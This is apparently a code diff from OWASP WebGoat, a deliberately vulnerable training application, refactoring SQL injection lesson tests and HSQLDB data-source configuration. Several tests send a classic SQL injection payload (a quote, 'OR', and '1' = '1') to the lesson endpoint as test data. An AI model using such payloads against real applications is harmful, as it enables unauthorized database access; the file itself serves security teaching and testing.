import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 5/21/17.
|
|
||||||
*/
|
|
||||||
@RunWith(SpringJUnit4ClassRunner.class)
|
@RunWith(SpringJUnit4ClassRunner.class)
|
||||||
public class SqlInjectionLesson5aTest extends SqlLessonTest {
|
public class SqlInjectionLesson5aTest extends SqlLessonTest {
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void knownAccountShouldDisplayData() throws Exception {
|
public void knownAccountShouldDisplayData() throws Exception {
|
||||||
var params = Map.of("account", "Smith", "operator", "", "injection", "");
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||||
.params(new LinkedMultiValueMap(params)))
|
.param("account", "Smith")
|
||||||
|
.param("operator", "")
|
||||||
|
.param("injection", ""))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
|
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
|
||||||
@ -36,10 +52,9 @@ public class SqlInjectionLesson5aTest extends SqlLessonTest {
|
|||||||
@Ignore
|
@Ignore
|
||||||
@Test
|
@Test
|
||||||
public void unknownAccount() throws Exception {
|
public void unknownAccount() throws Exception {
|
||||||
var params = Map.of("account", "Smith", "operator", "", "injection", "");
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||||
.params(new LinkedMultiValueMap(params)))
|
.param("account", "Smith")
|
||||||
|
.param("operator", "").param("injection", ""))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.feedback", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage("NoResultsMatched")))))
|
.andExpect(jsonPath("$.feedback", is(SqlInjectionLesson8Test.modifySpan(messages.getMessage("NoResultsMatched")))))
|
||||||
@ -48,9 +63,10 @@ public class SqlInjectionLesson5aTest extends SqlLessonTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void sqlInjection() throws Exception {
|
public void sqlInjection() throws Exception {
|
||||||
var params = Map.of("account", "'", "operator", "OR", "injection", "'1' = '1");
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||||
.params(new LinkedMultiValueMap(params)))
|
.param("account", "'")
|
||||||
|
.param("operator", "OR")
|
||||||
|
.param("injection", "'1' = '1"))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
|
||||||
@ -59,9 +75,10 @@ public class SqlInjectionLesson5aTest extends SqlLessonTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void sqlInjectionWrongShouldDisplayError() throws Exception {
|
public void sqlInjectionWrongShouldDisplayError() throws Exception {
|
||||||
var params = Map.of("account", "Smith'", "operator", "OR", "injection", "'1' = '1'");
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/assignment5a")
|
||||||
.params(new LinkedMultiValueMap(params)))
|
.param("account", "Smith'")
|
||||||
|
.param("operator", "OR")
|
||||||
|
.param("injection", "'1' = '1'"))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
.andExpect(jsonPath("lessonCompleted", is(false)))
|
.andExpect(jsonPath("lessonCompleted", is(false)))
|
||||||
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
|
||||||
|
@ -22,21 +22,14 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.sql_injection.introduction;
|
package org.owasp.webgoat.sql_injection.introduction;
|
||||||
|
|
||||||
import org.junit.Before;
|
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
||||||
import org.owasp.webgoat.sql_injection.introduction.SqlInjection;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.CoreMatchers.is;
|
import static org.hamcrest.CoreMatchers.is;
|
||||||
import static org.mockito.Mockito.when;
|
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
|
||||||
|
@ -22,20 +22,14 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.sql_injection.introduction;
|
package org.owasp.webgoat.sql_injection.introduction;
|
||||||
|
|
||||||
import org.junit.Before;
|
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
|
||||||
|
|
||||||
import static org.hamcrest.CoreMatchers.containsString;
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
import static org.hamcrest.CoreMatchers.is;
|
import static org.hamcrest.CoreMatchers.is;
|
||||||
import static org.mockito.Mockito.when;
|
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
|
||||||
|
@ -1,19 +1,12 @@
|
|||||||
package org.owasp.webgoat.sql_injection.mitigation;
|
package org.owasp.webgoat.sql_injection.mitigation;
|
||||||
|
|
||||||
import org.junit.Before;
|
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
import org.owasp.webgoat.sql_injection.SqlLessonTest;
|
||||||
import org.owasp.webgoat.sql_injection.introduction.SqlInjection;
|
|
||||||
import org.owasp.webgoat.plugins.LessonTest;
|
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
|
||||||
|
|
||||||
import static org.hamcrest.Matchers.is;
|
import static org.hamcrest.Matchers.is;
|
||||||
import static org.mockito.Mockito.when;
|
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||||
|
|
||||||
|
@ -9,8 +9,12 @@ import org.springframework.context.annotation.Bean;
|
|||||||
import org.springframework.context.annotation.Configuration;
|
import org.springframework.context.annotation.Configuration;
|
||||||
import org.springframework.context.annotation.DependsOn;
|
import org.springframework.context.annotation.DependsOn;
|
||||||
import org.springframework.context.annotation.Primary;
|
import org.springframework.context.annotation.Primary;
|
||||||
|
import org.springframework.core.annotation.Order;
|
||||||
|
import org.springframework.jdbc.datasource.DriverManagerDataSource;
|
||||||
|
|
||||||
import javax.sql.DataSource;
|
import javax.sql.DataSource;
|
||||||
|
import java.sql.Driver;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -40,14 +44,12 @@ public class HSQLDBDatabaseConfig {
|
|||||||
return server;
|
return server;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Primary
|
|
||||||
@Bean
|
@Bean
|
||||||
@DependsOn("hsqlStandalone")
|
@DependsOn("hsqlStandalone")
|
||||||
public DataSource dataSource(@Value("${spring.datasource.driver-class-name}") String driverClass,
|
@Primary
|
||||||
@Value("${spring.datasource.url}") String url) {
|
public DataSource dataSource(@Value("${spring.datasource.url}") String url) {
|
||||||
return DataSourceBuilder.create()
|
DriverManagerDataSource driverManagerDataSource = new DriverManagerDataSource(url);
|
||||||
.driverClassName(driverClass)
|
driverManagerDataSource.setDriverClassName("org.hsqldb.jdbc.JDBCDriver");
|
||||||
.url(url)
|
return driverManagerDataSource;
|
||||||
.build();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -23,12 +23,17 @@
|
|||||||
package org.owasp.webwolf;
|
package org.owasp.webwolf;
|
||||||
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
import org.springframework.context.annotation.Configuration;
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
import org.springframework.context.annotation.DependsOn;
|
||||||
|
import org.springframework.context.annotation.Primary;
|
||||||
|
import org.springframework.jdbc.datasource.DriverManagerDataSource;
|
||||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
||||||
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
||||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
|
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
|
||||||
|
|
||||||
import javax.annotation.PostConstruct;
|
import javax.annotation.PostConstruct;
|
||||||
|
import javax.sql.DataSource;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -59,4 +64,12 @@ public class MvcConfiguration implements WebMvcConfigurer {
|
|||||||
file.mkdirs();
|
file.mkdirs();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Bean
|
||||||
|
@Primary
|
||||||
|
public DataSource dataSource(@Value("${spring.datasource.url}") String url) {
|
||||||
|
DriverManagerDataSource driverManagerDataSource = new DriverManagerDataSource(url);
|
||||||
|
driverManagerDataSource.setDriverClassName("org.hsqldb.jdbc.JDBCDriver");
|
||||||
|
return driverManagerDataSource;
|
||||||
|
}
|
||||||
}
|
}
|
@ -80,7 +80,6 @@ public class Requests {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private boolean allowedTrace(HttpTrace t, UserDetails user) {
|
private boolean allowedTrace(HttpTrace t, UserDetails user) {
|
||||||
|
|
||||||
Request req = t.getRequest();
|
Request req = t.getRequest();
|
||||||
boolean allowed = true;
|
boolean allowed = true;
|
||||||
/* do not show certain traces to other users in a classroom setup */
|
/* do not show certain traces to other users in a classroom setup */
|
||||||
|
@ -8,6 +8,7 @@ server.servlet.session.cookie.name=WEBWOLFSESSION
|
|||||||
server.servlet.session.timeout=6000
|
server.servlet.session.timeout=6000
|
||||||
|
|
||||||
spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat
|
spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat
|
||||||
|
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
||||||
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
||||||
spring.jpa.hibernate.ddl-auto=update
|
spring.jpa.hibernate.ddl-auto=update
|
||||||
spring.messages.basename=i18n/messages
|
spring.messages.basename=i18n/messages
|
||||||
|
Reference in New Issue
Block a user